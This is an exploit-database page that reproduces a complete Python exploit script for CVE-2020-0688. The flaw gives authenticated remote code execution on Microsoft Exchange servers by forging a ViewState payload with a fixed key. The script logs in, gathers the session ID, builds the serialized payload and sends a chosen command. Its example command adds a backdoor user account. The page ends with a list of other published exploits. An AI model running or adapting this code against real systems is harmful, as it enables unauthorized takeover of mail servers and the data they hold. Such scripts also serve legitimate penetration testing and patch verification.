Search for hundreds of thousands of exploits

"Microsoft Exchange 2019 15.2.221.12 - Authenticated Remote Code Execution"

Author

Exploit author

Photubias

Platform

Exploit platform

windows

Release date

Exploit published date

2020-03-02

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
# Exploit Title: Microsoft Exchange 2019 15.2.221.12 - Authenticated Remote Code Execution
# Date: 2020-02-28
# Exploit Author: Photubias
# Vendor Advisory: [1] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688
#                  [2] https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys
# Vendor Homepage: https://www.microsoft.com
# Version: MS Exchange Server 2010 SP3 up to 2019 CU4
# Tested on: MS Exchange 2019 v15.2.221.12 running on Windows Server 2019
# CVE: CVE-2020-0688

#! /usr/bin/env python
# -*- coding: utf-8 -*- 
''' 

    
	Copyright 2020 Photubias(c)

        This program is free software: you can redistribute it and/or modify
        it under the terms of the GNU General Public License as published by
        the Free Software Foundation, either version 3 of the License, or
        (at your option) any later version.

        This program is distributed in the hope that it will be useful,
        but WITHOUT ANY WARRANTY; without even the implied warranty of
        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
        GNU General Public License for more details.

        You should have received a copy of the GNU General Public License
        along with this program.  If not, see <http://www.gnu.org/licenses/>.
        
        File name CVE-2020-0688-Photubias.py
        written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be

        This is a native implementation without requirements, written in Python 2.
        Works equally well on Windows as Linux (as MacOS, probably ;-)
        Reverse Engineered Serialization code from https://github.com/pwntester/ysoserial.net

        Example Output:
        CVE-2020-0688-Photubias.py -t https://10.11.12.13 -u sean -c "net user pwned pwned /add"
        [+] Login worked
        [+] Got ASP.NET Session ID: 83af2893-6e1c-4cee-88f8-b706ebc77570
        [+] Detected OWA version number 15.2.221.12
        [+] Vulnerable View State "B97B4E27" detected, this host is vulnerable!
        [+] All looks OK, ready to send exploit (net user pwned pwned /add)? [Y/n]:
        [+] Got Payload: /wEy0QYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADzBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIm5ldCB1c2VyIHB3bmVkIHB3bmVkIC9hZGQiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5PgvjXlpQBwdP741icUH6Wivr7TlI6g==
              Sending now ...
'''
import urllib2, urllib, base64, binascii, hashlib, hmac, struct, argparse, sys, cookielib, ssl, getpass

## STATIC STRINGS
# This string acts as a template for the serialization (contains "###payload###" to be replaced and TWO size locations)
strSerTemplate = base64.b64decode('/wEy2gYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD8BDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIiMjI3BheWxvYWQjIyMiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pgs=')
# This is a key installed in the Exchange Server, it is changeable, but often not (part of the vulnerability)
strSerKey = binascii.unhexlify('CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF')

def convertInt(iInput, length): 
    return struct.pack("<I" , int(iInput)).encode('hex')[:length]

def getYsoserialPayload(sCommand, sSessionId):
    ## PART1 of the payload to hash
    strPart1 = strSerTemplate.replace('###payload###', sCommand)
    ## Fix the length fields
    #print(binascii.hexlify(strPart1[3]+strPart1[4])) ## 'da06' > '06da' (0x06b8 + len(sCommand))
    #print(binascii.hexlify(strPart1[224]+strPart1[225])) ## 'fc04' > '04fc' (0x04da + len(sCommand))
    strLength1 = convertInt(0x06b8 + len(sCommand),4)
    strLength2 = convertInt(0x04da + len(sCommand),4)
    strPart1 = strPart1[:3] + binascii.unhexlify(strLength1) + strPart1[5:]
    strPart1 = strPart1[:224] + binascii.unhexlify(strLength2) + strPart1[226:]
    
    ## PART2 of the payload to hash
    strPart2 = '274e7bb9'
    for v in sSessionId: strPart2 += binascii.hexlify(v)+'00'
    strPart2 = binascii.unhexlify(strPart2)
    
    strMac = hmac.new(strSerKey, strPart1 + strPart2, hashlib.sha1).hexdigest()
    strResult = base64.b64encode(strPart1 + binascii.unhexlify(strMac))
    return strResult

def verifyLogin(sTarget, sUsername, sPassword, oOpener, oCookjar):
    if not sTarget[-1:] == '/': sTarget += '/'
    ## Verify Login
    lPostData = {'destination' : sTarget, 'flags' : '4', 'forcedownlevel' : '0', 'username' : sUsername, 'password' : sPassword, 'passwordText' : '', 'isUtf8' : '1'}
    try: sResult = oOpener.open(urllib2.Request(sTarget + 'owa/auth.owa', data=urllib.urlencode(lPostData), headers={'User-Agent':'Python'})).read()
    except: print('[!] Error, ' + sTarget + ' not reachable')
    bLoggedIn = False
    for cookie in oCookjar:
        if cookie.name == 'cadata': bLoggedIn = True
    if not bLoggedIn:
        print('[-] Login Wrong, too bad')
        exit(1)
    print('[+] Login worked')

    ## Verify Session ID
    sSessionId = ''
    sResult = oOpener.open(urllib2.Request(sTarget+'ecp/default.aspx', headers={'User-Agent':'Python'})).read()
    for cookie in oCookjar:
        if 'SessionId' in cookie.name: sSessionId = cookie.value
    print('[+] Got ASP.NET Session ID: ' + sSessionId)

    ## Verify OWA Version
    sVersion = ''
    try: sVersion = sResult.split('stylesheet')[0].split('href="')[1].split('/')[2]
    except: sVersion = 'favicon'
    if 'favicon' in sVersion:
        print('[*] Problem, this user has never logged in before (wizard detected)')
        print('       Please log in manually first at ' + sTarget + 'ecp/default.aspx')
        exit(1)
    print('[+] Detected OWA version number '+sVersion)

    ## Verify ViewStateValue
    sViewState = ''
    try: sViewState = sResult.split('__VIEWSTATEGENERATOR')[2].split('value="')[1].split('"')[0]
    except: pass
    if sViewState == 'B97B4E27':
        print('[+] Vulnerable View State "B97B4E27" detected, this host is vulnerable!')
    else:
        print('[-] Error, viewstate wrong or not correctly parsed: '+sViewState)
        ans = raw_input('[?] Still want to try the exploit? [y/N]: ')
        if ans == '' or ans.lower() == 'n': exit(1)
    return sSessionId, sTarget, sViewState
    
def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target IP or hostname (e.g. https://owa.contoso.com)', default='')
    parser.add_argument('-u', '--username', help='Username (e.g. joe or joe@contoso.com)', default='')
    parser.add_argument('-p', '--password', help='Password (leave empty to ask for it)', default='')
    parser.add_argument('-c', '--command', help='Command to put behind "cmd /c " (e.g. net user pwned pwned /add)', default='')
    args = parser.parse_args()
    if args.target == '' or args.username == '' or args.command == '':
        print('[!] Example usage: ')
        print(' ' + sys.argv[0] + ' -t https://owa.contoso.com -u joe -c "net user pwned pwned /add"')
    else:
        if args.password == '': sPassword = getpass.getpass('[*] Please enter the password: ')
        else: sPassword = args.password
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        oCookjar = cookielib.CookieJar()
        #oProxy = urllib2.ProxyHandler({'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080'})
        #oOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar),oProxy)
        oOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar))
        sSessionId, sTarget, sViewState = verifyLogin(args.target, args.username, sPassword, oOpener, oCookjar)
        ans = raw_input('[+] All looks OK, ready to send exploit (' + args.command + ')? [Y/n]: ')
        if ans.lower() == 'n': exit(0)
        sPayLoad = getYsoserialPayload(args.command, sSessionId)
        print('[+] Got Payload: ' + sPayLoad)
        sURL = sTarget + 'ecp/default.aspx?__VIEWSTATEGENERATOR=' + sViewState + '&__VIEWSTATE=' + urllib.quote_plus(sPayLoad)
        print('      Sending now ...')
        try: oOpener.open(urllib2.Request(sURL, headers={'User-Agent':'Python'}))
        except urllib2.HTTPError, e:
            if e.code == '500': print('[+] This probably worked (Error Code 500 received)')

if __name__ == "__main__":
	main()
Release DateTitleTypePlatformAuthor
2020-07-09"FrootVPN 4.8 - 'frootvpn' Unquoted Service Path"localwindowsv3n0m
2020-07-06"Fire Web Server 0.1 - Remote Denial of Service (PoC)"doswindows"Saeed reza Zamanian"
2020-07-01"RM Downloader 2.50.60 2006.06.23 - 'Load' Local Buffer Overflow (EggHunter) (SEH) (PoC)"localwindows"Paras Bhatia"
2020-06-26"KiteService 1.2020.618.0 - Unquoted Service Path"localwindows"Marcos Antonio LeΓ³n"
2020-06-26"Windscribe 1.83 - 'WindscribeService' Unquoted Service Path"localwindows"Ethan Seow"
2020-06-23"Code Blocks 20.03 - Denial Of Service (PoC)"doswindows"Paras Bhatia"
2020-06-23"Lansweeper 7.2 - Incorrect Access Control"localwindows"Amel BOUZIANE-LEBLOND"
2020-06-22"Frigate 2.02 - Denial Of Service (PoC)"doswindows"Paras Bhatia"
2020-06-17"Code Blocks 17.12 - 'File Name' Local Buffer Overflow (Unicode) (SEH) (PoC)"localwindows"Paras Bhatia"
2020-06-16"Bandwidth Monitor 3.9 - 'Svc10StrikeBandMontitor' Unquoted Service Path"localwindowsboku
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/48153/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.